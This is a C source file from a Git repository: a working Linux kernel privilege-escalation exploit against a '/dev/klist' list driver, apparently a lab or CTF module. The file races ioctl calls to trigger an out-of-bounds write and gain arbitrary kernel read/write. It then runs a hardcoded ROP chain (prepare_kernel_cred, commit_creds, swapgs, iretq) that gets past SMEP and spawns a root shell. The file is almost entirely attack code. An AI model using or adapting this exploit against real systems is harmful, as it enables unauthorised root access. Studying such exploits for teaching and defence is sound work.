Select Git revision
exploit_smep.c
Werner Sembach authored
exploit_smep.c 4.63 KiB
#include <stdio.h>
#include <fcntl.h>
#include <stropts.h>
#include <unistd.h>
#include <stdlib.h>
#include <limits.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>
#include <stdint.h>
#define LIST_CMD 0x1337
#define LIST_ADD (LIST_CMD + 0)
#define LIST_INSERT (LIST_CMD + 1)
#define LIST_SET (LIST_CMD + 2)
#define LIST_GET (LIST_CMD + 3)
#define LIST_DELETE (LIST_CMD + 4)
// https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/
uint64_t user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
#define WORKERS 2
struct index_val_t {
unsigned long index;
long value;
};
pid_t pids[WORKERS];
const unsigned char shellcode[13] = {
0x31, 0xc0, 0xe8, 0xcc,
0x6c, 0x07, 0x81, 0xe8,
0x5c, 0x69, 0x07, 0x81,
0xc3
};
void insert_worker() {
int fd = open("/dev/klist", O_RDWR);
struct index_val_t tmp;
tmp.index = 0;
tmp.value = 0x1337;
while (1) {
ioctl(fd, LIST_INSERT, &tmp);
}
}
void trigger() {
int fd = open("/dev/klist", O_RDWR);
struct index_val_t tmp;
printf("Testing legal write\n");
tmp.index = 0x3ff;
tmp.value = 0x1337;
if (!ioctl(fd, LIST_SET, &tmp)) {
printf("Legal write successfull\n");
}
else {
printf("Legal write failed\n");
}
printf("Trying repeated illegal writes\n");
tmp.index = 0x400;
tmp.value = 0x401;
for (;;) {
if (!ioctl(fd, LIST_SET, &tmp)) {
for (int i = 0; i < WORKERS; ++i) {
kill(pids[i], SIGKILL);
}
printf("Arbitrary read/write prepared\n");
break;
}
else {
ioctl(fd, LIST_DELETE, 0);
}
}
sleep(1);
tmp.index = 0x400;
tmp.value = 0xffffffffffffffff;
if (!ioctl(fd, LIST_SET, &tmp)) {
printf("Arbitrary read/write ready\n");
}
else {
printf("Arbitrary read/write failed\n");
close(fd);
exit(0);
}
close(fd);
}
void run_shell() {
if (!getuid()) {
printf("Got root!\n");
execl("/bin/sh", "/bin/sh", (char*) NULL);
//execl does not return on success so this should not be reached
perror("execl failed");
exit(EXIT_FAILURE);
}
printf("Failed to get root\n");
exit(EXIT_FAILURE);
}
int main() {
//prepare rop
uint64_t *rop = mmap((void *)0x0000000001428000, 0x00002000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0) + 0x0000000000000dd2;
if (rop == MAP_FAILED) {
printf("mmap failed\n");
return EXIT_FAILURE;
}
void *new_stack = mmap((void *)0x30000000, 0x10000000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (rop == MAP_FAILED) {
printf("mmap failed\n");
return EXIT_FAILURE;
}
save_state();
rop[0] = 0xffffffff8109d14d; // 0xffffffff8109d14d : pop rdi ; ret
rop[1] = 0x0000000000000000; // NULL
rop[2] = 0xffffffff81076cd0; // prepare_kernel_cred()
rop[3] = 0xffffffff81085d32; // 0xffffffff81085d32 : pop rdx ; ret
rop[4] = 0xffffffff81076961; // commit_creds() + 1 instruction
rop[5] = 0xffffffff810ad496; // 0xffffffff810ad496 : mov rdi, rax ; call rdx
rop[6] = 0xffffffff819515c1; // 0xffffffff819515c1 : swapgs ; ret
rop[7] = 0xffffffff810210a6; // iretq (objdump -j .text -d vmlinux | grep iretq | head -1)
rop[8] = (uint64_t)run_shell;
rop[9] = user_cs;
rop[10] = user_rflags;
rop[11] = (uint64_t)(new_stack+0x05000000);
rop[12] = user_ss;
//exploit list.ko
int fd = open("/dev/klist", O_RDWR);
struct index_val_t tmp;
printf("Create insert_worker\n");
for (int i = 0; i < WORKERS; ++i) {
pids[i] = fork();
if (!pids[i]) {
insert_worker();
}
}
printf("Create insert_worker finished\n");
trigger(); //trigger overflow
printf("Load shellcode\n");
tmp.index = 0x2000000000000000 - 0x74;
tmp.value = 0xffffffff81064150; // 0xffffffff81064150 : mov esp, 0x1428dd2 ; ret
if (!ioctl(fd, LIST_SET, &tmp)) {
printf("Shellcode ready\n");
}
close(fd);
//update state
save_state();
rop[9] = user_cs;
rop[10] = user_rflags;
rop[12] = user_ss;
fd = open("/dev/klist", 0); // trigger shellcode, should not return
printf("Shellcode not triggered, execution failed.\n");
close(fd);
return EXIT_FAILURE;
}